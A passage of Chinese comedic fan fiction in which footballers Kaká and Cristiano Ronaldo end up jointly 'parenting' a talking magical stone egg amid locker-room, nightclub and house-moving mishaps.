看着满桌子的菜,卡洛琳一脚蹬下脚上的高跟鞋,抱着卡卡亲了一口他的脸颊:“亲爱的,谢谢你。” “饿了吧,饿了就快吃饭吧。”卡卡把餐具摆放好,他和卡洛琳都不会做饭,平常都有请厨师,这次厨师家里有事并没有和他们一起来伯纳乌,才定了外送。 “还是应该在找一个专业的厨子。”卡卡一边吃一边想到,这里的食物,他是真的吃不惯。 吃完饭,卡卡收拾桌子,卡洛琳去洗漱。 等卡洛琳从浴室出来,就看见卡卡笔直的坐在沙发上,手里还拿着东西。 “卡卡?”卡洛琳疑惑的问道。 “卡洛琳,你快过来。”卡卡对卡洛琳招招手。 “什么事?搞的神神秘秘的?”卡洛琳走到沙发边就看见卡卡缓缓张开手掌,手心里放着一块黑石头。 “卡洛琳,你听,这块石头在对我叫爸爸。” 卡洛琳:“(⊙_⊙)?” 卡洛琳这几天不只一次的看见过卡卡拿着这块石头自言自语,她怀疑卡卡这是走火入魔了。 她摸上卡卡的额头,冰凉,这也没发烧啊?然后她注意到卡卡额头上的大鼓包…… 卡卡不会摔傻了吧? 她将卡卡手里的石头随意扔到茶几上,石头在茶几上滚动几圈,掉到了下方的地板上,然后被扫地机器人扫走了。 “这种脏东西,谁知道是从哪里来的,都是细菌,还是扔了吧。” 卡卡:“……” 石头终于不喊爸爸了,而是机器人的肚子里嘤嘤的哭泣。 卡卡看着机器人启动自清洁模式,石头在机器人的肚子里上下起伏,不一会一身黑就被洗的白白净净。 卡卡:“(个_个)” 天啊,石头儿子被洗掉色了。 卡卡干净从扫地机人手里拯救出被洗的白白嫩嫩的石头,在听到熟悉的嘤嘤声后才放心,他疑惑的看着卡洛琳:“卡洛琳,你真的听不到,他在哭。” 又来了,又来了,卡洛琳扶额,卡卡怎么能这么幼稚呢。 在卡卡第一次和她讨论喜欢唐老鸭还是米老鼠的时候,她就知道,卡卡是一个十分幼稚的人。 “没有,卡卡,我保证,我并没有听到任何声音,好了,我很累,现在要去睡了。” 因为卡卡糟糕的睡姿,他和卡洛琳一直是分房睡的。 看着卡洛琳的背影,卡卡疑惑,这声音难道就自己能听到吗? 而本该安静躺在手心的石头,在这时候从卡卡的手里跳起,跳了半天后,终于憋出了他石生的第二句话:坏人,嘤嘤坏人啊。 卡卡笑着点了点手里的石头:“别这么说,那是妈妈,妈妈不是坏人”。他从第一眼看见这石头,就有一股亲切感,所以在石头喊爸爸的时候,十分自然的就承认了爸爸的身份。 卡卡看见听到自己话的小石头砰的一下躺倒在自己手心,浑身上下散发着生无可恋。 卡卡被逗的哈哈大笑,带着石头回到自己的卧室。 等到第二天早上,卡卡起床,在枕头旁看见了正在那里蹦蹦跶跶的小石头,看见卡卡,他蹦了过了碰了砰卡卡的鼻尖,开心的叫着“爸爸”。 “哎、” 似乎是卡洛琳将他扔进垃圾桶的原因,石头十分抗拒和卡洛琳一起呆在家里,这是卡卡不曾想到的。 没办发,卡卡知道将石头带进训练场。 他怎么会知道石头的想法,在卡洛琳把他扔进垃圾桶的时候,他就决定,要给自己换个妈。 “安琪儿,你自己在这里乖乖的。”卡卡对着石头说道,这是他给石头取的名字,是天使的意思,他感觉这块石头就是上帝赐给他的天使。 克里斯蒂亚诺看见卡卡从车上下来后,过来打招呼:“嗨,卡卡早上好。” 突然的声音吓了卡卡一跳,卡卡转过身发现是克里斯,他现在最不想见到的人。 然后克里斯就看见了卡卡手里拿着的那块圆滚滚的白石头。 那石头和鸡蛋差不多大,表皮就像是白色玉石,在太阳的照射下散发着柔和的光芒。 “这块石头真好看。”克里斯由衷的赞叹道“这是你从米兰带来的饰品 吗?是带脖子上的?还是挂腰上的,不,看这个体积,是还没打磨的翡翠原石?要不你把他卖给我?” 卡卡笑着摇摇头:“不好意思啊,克里斯,这石头对我很重要,不能卖给你。” “小气。”克里斯本来对这块石头只是有些兴趣,在知道卡卡并没有卖的想法后,打消了买的想法。 他们许愿石一族,从小就不愿意学习,自从被查出是盲流之后,就滞销了,甚至后面被许愿柳顶替了位置,想到这里小石头气的牙痒痒,那群柳树条不就是小学毕业,有什么了不起,竟然看不起他们这些幼儿园毕业的,该死的学历歧视。 这是石头第一次受到别人的夸奖,他在货架上呆了那么长时间,久到身上都落满了灰,都没有被买走,就是因为他们说他丑,是一块丑石头。 昨天晚上卡卡给他洗香香之后,现在都有人夸他漂亮了,他爸爸可真厉害,他在卡卡手里里晃晃,表达了自己的开心。 至于夸他的这个人,他记住了,眼光这么好,可以当妈妈的候选人。 足球是一项危险又自由的运动,安琪儿躺在看台上,尽职尽责的扮演着一块石头。 他早就想好了,今天,他就要选出自己的妈妈,至于人选,就从这些穿白衣服的人里选吧。 作为一个看过电视的石头,他自认为自己的知识还算渊博。 电视上是怎么说的?妈妈,必须要善良,虽然小石头不知道什么是善良,但是跟着电视做就对了。 然后,皇马队的人,从卡卡的椅子旁路过的时候,都看见了一块石头从椅子上掉了下来。 只有拾金不昧的人,才能做我的妈妈,小石头在心里自豪的想到。 但是他忘了,他根本就不是金子,他只是一块石头,根本就不值钱。 “电视上都是骗人的。”单纯的小石头在今天遭到了社会的毒打。 在经历了被无视,被踢飞,被脚踩等一系列的事情后,小石头灰扑扑的躺在地上,都是坏人,都是坏人啊。 在然后,他被一只大手捡了起来,那只手轻轻的拍了拍他身上尘土,还专门用毛巾擦掉了他身上的脏东西。 小石头确定了,只有不嫌弃他是不是灰扑扑的,不在意他是不是值钱的人,才能做他的妈妈。 这个人,他终于找到了。 克里斯蒂亚诺洗漱完才想起自己的车钥匙落在更衣室里了,他今天心情不错,卡卡和他的配合让他感觉到了前所未有的轻松,卡卡简直是所有前锋都梦寐以求的中路,一整场比赛下来,给他喂饼喂到吐。 刚到更衣室,他就看见了早上还被卡卡当做宝贝的石头,正灰扑扑的躺在地上,上面还有不少脚印。 他顺手就将石头捡了起来,放回到了原来的位置。 看到自己选定的妈妈要走,小石头一跃而起,在空中划出一道优美的抛物线,他的准头好极了,直接掉到了克里斯蒂亚诺的紧身牛仔裤的后屁股兜。 再见了爸爸,今晚我就要去远航,别为我担心,我有快乐和智慧的浆…… 卡卡:“……” 23.这是一个甜甜的番外三 紧身低腰牛仔裤,那是一条紧身牛仔裤吗?卡卡捂住头,要不是他亲眼所见,他真是我想不到,一块鸡蛋大小的石头,是怎么跳进一条紧身低腰牛仔裤的后兜里的。 那可是一条紧身牛仔裤。 那么一块Duang大的石头,跑你裤兜里了,克里斯是假人吗?为什么会没有感觉。 还有,为什么,那么一块石头在一条紧身牛仔裤兜里,从外面看,会一点也看不出来啊。 到底为什么啊?为什么会看不出来啊? 果然,是自己的幻觉吧!刚才看到的一切都是自己的幻觉,安琪儿是多乖巧的一个孩子啊,怎么会跑别人裤兜里去呢! 自己真的是,年纪轻轻的,眼神就不好了呢。 现在就去自己椅子上,带着安琪儿回家。 卡卡看着自己空荡荡的椅子,身心俱疲的他一屁股坐到椅子上,面如死灰的看着克里斯蒂亚诺的屁股兜。 啊啊啊啊啊啊! 竟然不是幻觉吗? 孩子静悄悄,准是在作妖,卡卡终究是领教到熊孩子的威力了。 “卡卡,你现在要振作。”卡卡在心里给自己打气:“安琪儿只是一个孩子,被克里斯那张脸迷惑了是情有可原,什么都等孩子回家再打,不,等回家再说。” 现在最重要的是,该怎么从克里斯那条该死的,紧身牛仔裤后兜里,将安琪儿拿回来!!! 要不然按照克里斯的体重,一屁股将安琪儿坐碎了也不是什么稀罕事。 如果,直接去掏兜,一定会被当做变态打死吧?虽然克里斯的武力值并不高,可是他的好朋友佩佩,那腿是真有劲。 卡卡想到如果自己直接去掏兜的后果,吓得赶紧摇摇头,他的礼貌,教养和身手,都不允许他这样做。 那直接说我的宝贝石头,自己跳进你裤兜了? 克里斯绝对会找教练把自己送进医院的。 这也不行,那也不行,卡卡在椅子上独自煎熬。 克里斯站在自己的柜子前,整理发型,然后被镜子里那双眼睛吓了一跳。 等反应过来才发现,是卡卡正目不转睛的看着自己的屁股?屁股? 自己屁股怎么了? 克里斯心里一凉,这条裤子夏季新款,今天穿的时候是有些紧,他还以为是错觉,但是卡卡这个眼神看着自己的,难不成裤子扒档了? 不要啊,自己怎么可以在男神面前,穿一条扒裆裤,他沿着裤线,小心翼翼的摸了一圈,在确认没开线后才松了一口气。 裤子,裤子也没事啊? 那卡卡是为什么盯着自己? 总不能是被自己挺翘的屁股迷住了吧? 克里斯蒂亚诺自恋的想到。 自己的臀型可是花大力气才练成这样的。 同时,更衣室里不止一个人发现了卡卡的古怪? 马塞洛走到克里斯蒂亚诺身边小声的问到:“克里斯,你是不是拿错卡卡东西了?” 克里斯本来还在美滋滋,听到这话,不高兴的反驳:“什么叫我拿错他东西?我是二十,不是六十,不,我就算六十也不会拿错别人东西好吗?” “那卡卡为什么会一直盯着你啊?” “他就不能是被我完美的臀型迷住了吗?” 马塞洛:“……” 本来还担心两个人会有什么误会的马塞洛默默地回到了自己的座位,他一定是疯了,才会搭理克里斯。 以后还是离他远点吧,听说脑子不正常会被传染。 看卡卡就知道了,只是和克里斯走近点,现在所有人都传他是路痴。 卡卡还坐在一直上,双目无神,眼神直勾勾的前方,脑海里想着干脆一会套克里斯麻袋算了的时候,就看到克里斯已经来都他身边,正看着自己。 “啊!”卡卡被吓了一跳,慌忙从椅子上站起来。 “卡卡,你是你是找我有什么事?”克里斯开口问道。 “我,我,没事啊。”卡卡眼神心虚的瞟向四周,就是不敢看克里斯,深怕克里斯看出自己刚才想套他麻袋。 “那为什么一直看着我?”克里斯蒂亚诺挑眉,气势瞬间拔高,压的卡卡喘不过气。 “我,就是看,看,你这牛仔裤,裤,挺好看的。”卡卡结结巴巴的解释。 别人信不信卡卡不知道,但眼前的克里斯应该是信了。 他低头看了眼自己的裤子,脸上带着找到同好的眉飞色舞:“这条裤子可是新款,我抢了好久才抢到,你还挺有眼光的。” “谢谢?”卡卡不确定的回道。 克里斯蒂亚诺拍了拍卡卡的肩膀,在他耳边开口说道:“把你三围告诉我?下次我买这个这个牌子帮你也买一件。” “116,90,115.” 卡卡下意识报出了三个数字后捂住了脸,啊,老天爷,他都干了什么,谁要穿那该死的紧身低腰牛仔裤啊!!! 这个三围?这个三围?克里斯努力憋笑,卡卡,卡卡他没有腰啊!!! “克里斯,你要忍住,千万,千万不能笑出来,不然卡卡肯定会哭的。”克里斯蒂亚诺在心里对自己说道。 “要不要和我们一起去放松一下,马塞洛,佩佩……他们都去的……”看着卡卡气鼓鼓的表情,克里斯蒂亚诺开口邀请道。 去哪里放松?自然是夜店了,他们可是运动员,不去夜店放松,难道去图书馆吗? “好,我去。” 克里斯蒂亚诺没想到卡卡会答应,震惊的瞪大眼睛。 毕竟卡卡的名声是出了名的好,和他们这些混迹夜店的人不同,卡卡正确的刷新地点是教堂才对。 现在,他竟然要和自己去夜店? “卡卡,你要确定吗?不想去的话也不用勉强!!!” “我,要,去。”卡卡又重复了一遍,安琪儿还在克里斯手里,自己要是不去,安琪儿还能全须全尾的回来吗? 为了孩子,自己也一定要去。 克里斯蒂亚诺:“……”不要做出一副视死如归的表情啊。 在得知卡卡会和他们一起去消遣的时候,所有人都震惊的瞪大了眼睛。 他们以前也不是没有邀请过卡卡,卡卡哪次不是直接拒绝? 克里斯手里是有卡卡多大的把柄啊?众人心里默默的想到。 在得知卡卡是路痴后,几个人决 定开同一辆车去,省的半路上有人丢了。 卡卡:“……”我不是,我没有,我不会丢。 最后,八个人挤在一辆六座的车上,朝着夜店的方向而去。 卡西开着车,随着音乐高声歌唱,声音难听的所有人都皱起了眉头。 克里斯坐在卡卡的大腿上,有些不好意思的问到:“我没有压痛你,我就说让你做我身上。” “没事,你一点也不重。”卡卡看着克里斯悬空的后裤兜,松了口气,还好自己也来了。 卡卡昨天洗澡的时候就发现了,安琪儿其实并不是一颗实心的石头,而是一颗石蛋,里面是有蛋清蛋黄的。发现这个事情后,卡卡差点被吓死。 这并不是卡卡第一次来夜店这种地方,在巴西的时候,罗纳尔多也曾带着他去张见识。 只不过他去了一次,就不感兴趣了。 第二次是罗纳尔迪尼奥,非拉着他去体验一下世界的美好,那一次更糟糕,他们被疯狂球迷追了三条街。 没想到第三次次来,还是被罗纳尔多带来的,只不过不是一个,他可真是和罗纳尔多有缘。 这么多罗纳尔多都被他碰上了。 闪烁的五彩灯让卡卡不适的闭上了眼睛,酒池里面的景象更是群魔乱舞,每个人脸上都画着夸张的妆容。 有人看见他,吹了个口哨,张嘴话很直接的开口问到:“帅哥,约不?” 卡卡:“w(?Д?)w” 克里斯蒂亚诺进来后就后悔了,带卡卡来这种地方,他可真该死啊。 面对着搭讪的人,他也没有好脸色,一把将卡卡和其他人隔绝开,一边臭着脸拉着卡卡向着卡座走去。 “卡卡,你别搭理他们。”克里斯开口说道。 他也没了喝酒放松的性质,他决定了今天晚上就守在卡卡身边哪也不去,谁想接近卡卡,除非从他身上跨过去。 队友们早就如同下饺子一般奔进舞池,在里面疯狂抖动自己的身体,从远处看和触电了一般。 “克里斯不去跳舞吗?”卡卡问到。 卡卡想的很简单,如果克里斯去跳舞,他就跟着一起去,到时候就跟在克里斯后面,将安琪儿神不知鬼不觉的拿回来,就算克里斯感觉被人摸了屁股?拜托,舞池里那么黑,那么多人,谁能证明是他摸的? “我不去。” 卡卡:“……” 他怎么不按套路出牌,克里斯蒂亚诺你来这是站着看别人跳舞的?你不是夜店小王子吗? 克里斯觉得卡卡看自己的眼神很奇怪,不过他并没有多想,而是走到沙发前准备休息下,本来就训练了一天很累,要是知道卡卡会答应,他肯定不会开口。 他刚准备坐下,就被卡卡一把拽住。 克里斯蒂亚诺:“?” “咱们那一起去点点喝的吧,咱们一起去。” “一起去?好啊。” 看着卡卡的脸,克里斯觉得自己十分有必要陪着卡卡一起去。 然后…… 克里斯绝望的拽着自己的裤头,也没人告诉他卡卡不会喝酒啊。 “卡卡,你放开我的裤子,我的裤子要被拽掉了。” 24.这是一个甜甜的番外四 等马塞洛几人从舞池中央出来,看到的就是克里斯蒂亚诺一手抻着卡卡,让他不至于摔在地上,另一只手紧紧的拽着自己的裤子,因为卡卡正在努力的扒他的裤子。 “哈哈哈哈,克里斯,既然卡卡这么喜欢你的裤子,你就给他吧,哈哈哈哈。”马塞洛拍着自己的大腿,乐的直不起腰。 “放屁,你怎么不现在把你的裤子脱了,你们还在那干看着,我,裤子,要掉了。”看到几个人在那幸灾乐祸的看着,克里斯蒂亚诺崩溃的喊道。 卡卡感觉天地都在旋转,周围,周围是哈哈的笑声,他的脑子昏昏沉沉,唯一记住的就是,一定要拿到克里斯蒂亚诺的那条该死的紧身低腰牛仔裤。 “我们可没有让卡卡喝酒。”马塞洛继续说道。 最后还是卡西实在是看不下去,因为舞池里已经有人认出他们了,为了避免出现在明天报纸的头条,卡西叹了口气,一把掐住卡卡的脖子,另一只手搂住卡卡的腰才将卡卡从克里斯蒂亚诺身上拽了下来。 这一番动作下来,累的他满头大汗,他算是知道克里斯蒂亚诺怎么会这么奔溃了,看着高高瘦瘦的卡卡,力气大的吓人。 面对着喝醉了的卡卡,所有人都犯了难:“你们谁知道卡卡住在哪?” 所有人都摇了摇头,他们只知道卡卡住在市中心的高级公寓,但是具体位置,所有人都不知道。 “克里斯蒂亚诺罗纳尔多,卡卡就交给你了。”最后还是卡西做了决定。 他这么做也是有原因的,一是因为卡卡本来就是克里斯邀请来的。 二就是因为他们实在是分不开卡卡和克里斯,明明卡西已经将两人分开,一个看不住,卡卡就又缠上了克里斯。 三就是明天还有训练,他们本来就是瞒着教练来的,今天晚上要是睡不好,影响明天的状态,那所有人都会死的很惨。 看着在场穿牛仔裤的人全都双腿一凉,在心里暗暗发誓,以后在卡卡面前,绝对不穿牛仔裤,不然就会和克里斯一个下场。 最后克里斯也没了办法,只好在楼上开了一间房,将卡卡给拖了上去,临走的时候,佩佩和马塞洛还偷偷摸摸的塞给克里斯一条新裤子劝说:“你那条裤子还是给卡卡吧,别说兄弟不想着你,为了避免你明天光屁股回家,裤子都给你买来了。” 克里斯蒂亚诺一脚将两个人从房间里踹出,并对两人奉上了爱的中指。 但是看着搂着自己腰正和裤头上的扣子较劲的人,克里斯还是妥协的将自己的裤子脱下来给了卡卡,自己穿上了马塞洛准备好的裤子。 看着抱着裤子在床上安静沉睡的卡卡,克里斯躺在另外半边床上松了口气,这一晚上,他的消耗比在赛场上跑了一场比赛还累,他本来以为今天晚上就能消停的睡了,谁能想到,半夜他睡得正香,耳边突然传来一声童音“妈妈” “妈妈” “妈妈” “啊!!!!!” 克里斯猛地从床上弹射起来,快速的打开酒店的灯,又窜回到床上,房间里安静极了,只有一旁的卡卡和自己的呼吸声。 他的眼睛扫视过房间里的每一个角落,没有,什么都没有,没有人,更没有说话的小孩。 摸了一把额头上的冷汗,他在心里松了口气,真是自己吓自己。 他绝对是听错了,这里怎么可能会有孩子的声音。 床上的卡卡还在没心没肺的呼呼大睡,看的克里斯很是羡慕,毕竟他今天晚上实在是不敢睡了。 他从小就怕这些神神怪怪的东西,小时候听个恐怖音乐都会一晚上睡不着觉。 一整个晚上,克里斯都坐在床上抱着被子,等也没有关,就怕从黑暗里窜出什么怪物。 一直到了早上,实在撑不住才倒头沉沉的睡了过去。 卡卡睁开眼强,就看见了怀里的牛仔裤,他先是一喜,将手伸进裤兜将安琪儿掏出来后,他才松了口气起。 不过,这裤子怎么在自己怀里?卡卡看着手里的裤子开始回想昨晚到底发生了什么。 自己和克里斯去了前台,点了一杯果酒,自己喝完,然后,然后…… 卡卡的脸色瞬间爆红,想起来了,全都想起来了。 他扒了克里斯的裤子 上帝啊,他这辈子都不想再见到克里斯了。 然后一转头,他就看到了克里斯正躺在他旁边。 卡卡“……” 啊啊啊啊啊啊 救命,好尴尬。 不对?克里斯为什么会躺在自己旁边?想到以前迪甘说和他一起睡被他一脚踹下床的事,卡卡的脸色白了又白,克里斯现在还没醒,不会是被他踹死了吧? 想到这里卡卡颤抖着伸出手指,小心翼翼的放到克里斯的鼻子下方,温热的气体喷在他的收支上让他松了口气。 还好,没死,只是睡的太熟了。 想到这一切的罪魁祸首,卡卡气愤的将安琪儿拿了出来:“说为什么会跑到克里斯裤兜里。” 一睁眼就看到爸爸的安琪儿很兴奋,他从卡卡手上跳下,跳到克里斯的脸前,嘴里还喊道:“妈妈” 卡卡的表情很复杂,他没想过,有一天会从一块石头上看出兴奋,还有,叫什么“妈妈”啊 妈是能随便乱认的吗? 卡卡将安琪儿拿回来,郑重的开口说道:“克里斯不是你的妈妈。” 安琪儿先是愣了一下,随即暴发出一阵巨大的哭声。 臭粑粑,那就是自己妈妈,是他找了一天,才好不容易选中的妈妈。 “妈妈,就是妈妈。” 卡卡在哭声中闭上了眼,感到一阵心累。 克里斯在迷糊中睁开眼,就看到一块石头在和卡卡说话,吓得他两眼一闭,晕了过去。 卡卡:“……” “安琪儿,你看,克里斯胆子这么小,一看见你就吓成这样,怎么能做你妈妈呢?” 卡卡觉得必须要和小石头解释清楚,乱认妈这种事,必须禁止。 安琪儿看了眼卡卡,又看了眼昏过去的克里斯哭的更伤心。 克里斯醒过来的时候,就听见了卡卡对他的“诋毁”,虽然他确实怕这些东西,但是怎么能说他胆子小呢。 “我的胆子一点也不小。”他坐起身,气鼓鼓的看着卡卡。 “……”</p >上帝啊,有什么办法能让克里斯失去刚才的记忆啊。 “卡卡,你是不是应该解释解释,安琪儿是谁,还有为什么你会有一块会说话的石头,你其实是一个男巫是不是?你是不是从霍格沃茨毕业的?” “没有,不是,别误会。” 看着克里斯亮晶晶的眼睛,卡卡败下阵来,他将石头递到克里斯面前,斟酌着开口:“这个就是安琪儿,他确实会说话。” “他是小精灵吗?” “我也不知道他到底是什么,这是我的球迷送给我的,……然后有一天我发现他会说话,会叫我爸爸。” “哦,这可真是神奇。”看着卡卡手里的石头,克里斯发出羡慕的声音。 “可是他为什么会叫我妈妈?”克里斯想到吓得他一晚上都没有睡好的声音,有些无奈。 “这个……”卡卡沉默片刻才说道:“你不用在意这个,我会安琪儿带走。” 安琪儿听到卡卡的话,从他的手心跳出来,正好砸中了克里斯的额头,他的头上瞬间鼓起一个大包。 卡卡:“6” 克里斯:“……” 血顺着克里斯的额头滑下,血落到安琪儿的身上,下一刻就被安琪儿吸收。 克里斯看着卡卡手里的石头,心里感觉非常奇妙,那是一种血脉相连的感觉。 他捂住自己跳的有些快的心脏,忍不住开口说道:“你一看就不会照顾孩子,我看还是把他交给我最好。” “不。” 卡卡:“┗|`O′|┛嗷~~” 该死,克里斯竟然想要和自己抢孩子。 “克里斯,安琪儿是我的孩子。” “可是他叫我妈妈。”克里斯摸着胸口:“而且我感觉,他就是我的孩子,那种感觉非常奇妙。” “w(?Д?)w” 自从自己的血被安琪儿吸收之后,卡卡也一直有这种感觉。 那是一种血脉相连的感觉。 难道是伤口上的血,卡卡看着克里斯的额头,他将血迹擦掉,果然上面一点伤口都没有。 安琪儿吸收了克里斯的血,那岂不是说安琪儿成了他和克里斯的孩子。 吸收了两人血液的安琪儿,从一颗石头,变成了一颗蛋。 “总之我是不会将安琪儿交给你的。”卡卡说的信誓旦旦,但是克里斯却是从他声音里听到了心虚。 “不交给我也行,但安琪儿也留着我的血,我要和你一起抚养他。”克里斯从卡卡手里拿起安琪儿,对着安琪儿猛猛的亲了两口。 只有安琪儿还不知道刚才两人因为他产生一场争夺战,他只知道自己现在是有妈妈的人了。 “妈妈 “妈妈” 安琪儿开心的叫着。 克里斯神情僵硬,不解的问:“为什么你是爸爸,我是妈妈?我也要当爸爸。” “安琪儿,我不是妈妈,我是papa,你要叫我papa.”克里斯的声音温柔。 安琪儿看向卡卡,有些疑惑自己为什么会有两个爸爸,但还是乖乖开口喊了“papa” 他可是孝顺父母的乖小孩。 25.这是一个甜甜的番外五 “哎?你快看,克里斯又和卡卡凑到一块去了。”马塞洛用肩膀撞了撞佩佩,语气里带着调侃。 佩佩将脚下的足球踢远,抬头看了眼,克里斯蒂亚诺正对着卡卡笑,笑的一脸不值钱的样子,而卡卡正板着脸,似乎是在训话? 他和克里斯在国家队当着这么多年的队友,现在又成了俱乐部队友,就从来没有见过他什么时候对别人这么低三下四过,这个卡卡,是把克里斯当狗训了? 真是诡计多端的巴西人。 “你说卡卡有什么好的?”佩佩不明白卡卡的人缘为什么这么好。 马塞洛撑着下巴,脑子里回想着和卡卡做队友的时候,拍手恍然大悟道:“卡卡,他长得好啊。”他越说越肯定:“就卡卡这脸,怎么会有人不喜欢啊!你是不知道,在国家队的时候,卡卡每天都能收到上千封求爱信,就算结婚了,都没断过在知道卡卡结婚了的时候,都不知道有多少小姑娘小伙子哭晕在厕所。” 佩佩想反驳,但是看到卡卡的脸,也不得不承认,卡卡这脸,真的让人对他厌恶不起来。 就连自己,在面对卡卡的恶作剧,也生不起气。 想到这他捂住自己的脸,本来还对兄弟感到不值,在发现原来自己也是看脸党的佩佩有些崩溃。 克里斯蒂亚诺不知道佩佩心里的想法,他现在确实是在道歉。 “卡卡,我昨天晚上不是故意带着蛋宝看电视熬夜的。”克里斯蒂亚诺双手合十,脸上写满了真诚。 “克里斯蒂亚诺罗纳尔多,你再叫安琪儿蛋宝的话,我就把你的发胶全都扔进垃圾桶。”卡卡对克里斯给安琪儿起小名这件事零容忍。 蛋宝?克里斯怎么能给孩子起这么土的小名? 吓得他梦里都是蛋宝去踢球,球衣上写着蛋宝两个字,然后被人笑话名字土的样子。 “可是安琪儿很喜欢这个小名啊,而且你不感觉我起的很贴切吗?他本来就是一颗蛋,还是咱们的宝贝,叫蛋宝怎么了?是不是啊?蛋宝?”克里斯蒂亚诺低头对着口袋里的蛋问到。 石蛋在口袋里蹦了两下,对自己papa的话,表示非常赞同,他真的超喜欢蛋宝这个名字的。 ……卡卡“这倒霉孩子,以后因为名字被笑话,别来他面前哭。” “你,那你昨天晚上为什么要带着安琪儿偷偷看电视。” 天知道,昨天晚上他下楼喝水,四点了,那是凌晨四点啊,克里斯那张贴着面膜的脸被电视光反射的,冒着青光,给他造成了多大的心里阴影,更过分的是,他一个人就算了,他还带着蛋,呸,安琪儿一起看,早上他发现安琪儿蛋黄都暗淡了。 最奇葩的是,他俩为什么会这么爱看绝望的主妇啊。 看到电视剧名字的卡卡,眼前一黑又一黑。 这孩子都被克里斯带坏了。 “这是早就答应过安琪儿的,我们只是一时忘记了时间,主要是搬新家太兴奋了。”克里斯蒂亚诺还想解释。 “明明早就答应搬到我家旁边,结果你竟然拖了这么久。” “卡洛琳不喜欢那里,那太偏了。”卡卡实话实说,卡洛琳到了伯纳乌之后,就一直参加各种应酬派对,她喜欢那种纸醉金迷的感觉,所以在听说卡卡想要搬到郊外的时候,表达的强裂的反对。 对此卡卡也没有办法。 这次能搬家还是因为卡洛琳在派对上认识了个生意伙伴,两人风风火火的去美国做生意去了。 其实在从酒店出来的第二天,克里斯蒂亚诺就提出让卡卡搬到他家附近了,正好他家隔壁还空着,只是卡卡一直没有答应。 然后,卡卡就见识到了克里斯蒂亚诺到底有多烦人。 “卡卡,你就搬到我家旁边去吧。”这是在训练场上的克里斯。 卡卡:“……” “卡卡,你就搬到我家旁边去吧,就当是为了孩子。”这是在比赛的克里斯。 卡卡:“……” “卡卡,你就搬到我家旁边去吧。”这是在食堂打饭的克里斯。 卡卡:“……” “卡卡,你就搬到我家旁边去吧,那里风景可好,蛋宝很喜欢……”这是在厕所的克里斯。 卡卡:“……” …… 卡卡不得不承认,克里斯有这毅力,做什么都会成功。 卡卡在当着克里斯蒂亚诺罗纳尔多的面签字刷卡后,才终于获得了片刻安宁。 当着卡卡的面,克里斯抱着安琪儿满脸傻笑:“宝贝,这下,终于没人能够分开连门俩了。” 安琪儿也十分捧场的喊“papa,不分开,不分开。” 搬搬搬,现在就搬,马上搬。 这一人一蛋是吃定他了。 所以在卡洛琳走的第二天,卡卡就已经搬进了新家,晚上克里斯蒂亚诺就登堂入室,带着安琪儿熬夜看电视。 早知道是这个结果,卡卡就算是被克里斯烦死了也不会搬。 看着卡卡皱起的眉头,克里斯蒂亚诺赶紧端正态度发誓:“他以后绝对不会带着安琪儿熬夜,要是我再带着安琪儿熬夜,就让我脸上长痘。” “那我就再相信你一次。”卡卡没忍住勾起嘴角,克里斯简直就是个活宝。 “那我现在去通知他们,训练结束去都去新家,庆祝你搬新家。”克里斯蒂亚诺勾起嘴角,卡卡终于搬到他家隔壁,他一定要让所有人都知道,让他们都羡慕自己。 “卡卡搬家了,晚上都去他新家吃饭啊。”克里斯对着马塞洛说道。 “好啊。”虽然不知道为什么卡卡搬家,要让克里斯邀请,但是马塞洛还是十分捧场。 “卡卡,搬家了,晚上去他家吃饭啊。”马塞洛答应后,克里斯蒂亚诺又兴致冲冲的去通知下一个人。 因为卡卡的好人缘,队里的所有人,都答应晚上要去卡卡家吃饭。 训练终于结束,等马塞洛掏出手机看到卡卡新家地址的时候,才终于明白,为什么克里斯蒂亚诺笑的一脸荡漾,这特么,卡卡新家地址,竟然就在克里斯他家隔壁。 “这卡卡搬到克里斯隔壁,以后肯定很热闹。”马塞洛对着佩佩感慨道。 所有人一窝蜂的到卡卡家,发现卡卡家的装修风格十分眼熟。 马塞洛和佩佩看着彼此的眼睛,眼神笃定:“这风格,绝对是克里斯蒂亚诺的风格,卡卡家不会是克里斯给装修的吧?” 众人热热闹闹的坐到沙发上,就看见克里斯蒂亚诺系着围裙,端着盘子从厨房里走出来。 “克里斯,你什么时候来的?”有人疑惑的问到。 “我早就到了,你们今天吃的饭都是我做的。” 众人闻言震惊的瞪大眼睛,他们看到了什么,鼎鼎大名的克里斯蒂亚诺跑来卡卡家做饭? “克里斯,你做饭?那我们岂不是只能吃水煮菜,水煮肉,我们是来吃巴西烤肉的好吗?谁想吃水煮菜啊。” 卡卡在克里斯后面走出来,他的脸上有些脏,头发也乱乱的,鼻尖上还冒着汗,看见众人,他把手里的盘子往身后藏了藏。 有人好奇的看了眼卡卡藏起来的盘子,结果被盘子里黑乎乎还冒烟的东西吓了一跳,他干巴巴饿开口:“不过我觉得,大鱼大肉的吃多了,偶尔吃一顿克里斯的营养餐也是不错的选择。” 那震惊的眼神弄得卡卡有些尴尬,吃货卡卡,典型的只会吃,不会做,这些天他都是蹭克里斯蒂亚诺的营养餐过活的。 “谁说只有水煮菜,巴西烤肉也有,就在后院。”克里斯对着卡卡眨眨眼睛,眼神里充满了狡黠。 众人很快忘记刚才的尴尬,气愤又重新热络起来。 他们在后院喝酒吃肉,载歌载舞,有人又提起刚才的话题,为什么克里斯会这么早就到卡卡家? 克里斯拿着香槟,又给卡卡倒了杯纯菠萝汁后才开口炫耀:“因为我家就在卡卡家隔壁啊,所以才会这么快啊。” “而且,卡卡家是我给装修的哦。”他说完环顾四周,表情得意:“我的审美好吧。” 众人纷纷对克里斯蒂亚诺竖起大拇指。 只有马塞洛开玩笑般的开口:“卡卡搬过来,不会也是你提的吧?” “当然是我,你都不知道,我求了卡卡多长时间,卡卡才答应搬过来……”克里斯的表情越发得意起来,他回想起当初自己提议卡卡搬过来的时候,也没有想到过卡卡会真的搬。 对此,马塞洛只回了他两个字“牛啤!!” 酒足饭饱,所有人都走了,就只剩下马塞洛和佩佩跟着克里斯收拾卫生。 两人看着克里斯蒂亚诺神情复杂,佩佩几次想开口,都被马塞洛拦下。 等到所有的垃圾都打扫干净,克里斯才松了口气。 他手里拿着两大包垃圾,对卡卡说道:“你先回去吧,垃圾我去扔就好。”说完他拎着垃圾走出院子,就奔蹲在墙角的两个人吓了一跳。 “你们怎么没走?”克里斯疑惑的问到。 “你不是也没走?”佩佩忍了半天,还是没忍住开口。 “我和你们可不一样,我。”说道这里他停顿了下,显然接下来的话,不适合告诉别人。 “你什么你?你是不是说,其实你要睡在这里?”佩佩气愤地说道。 克里斯的神情变了变。 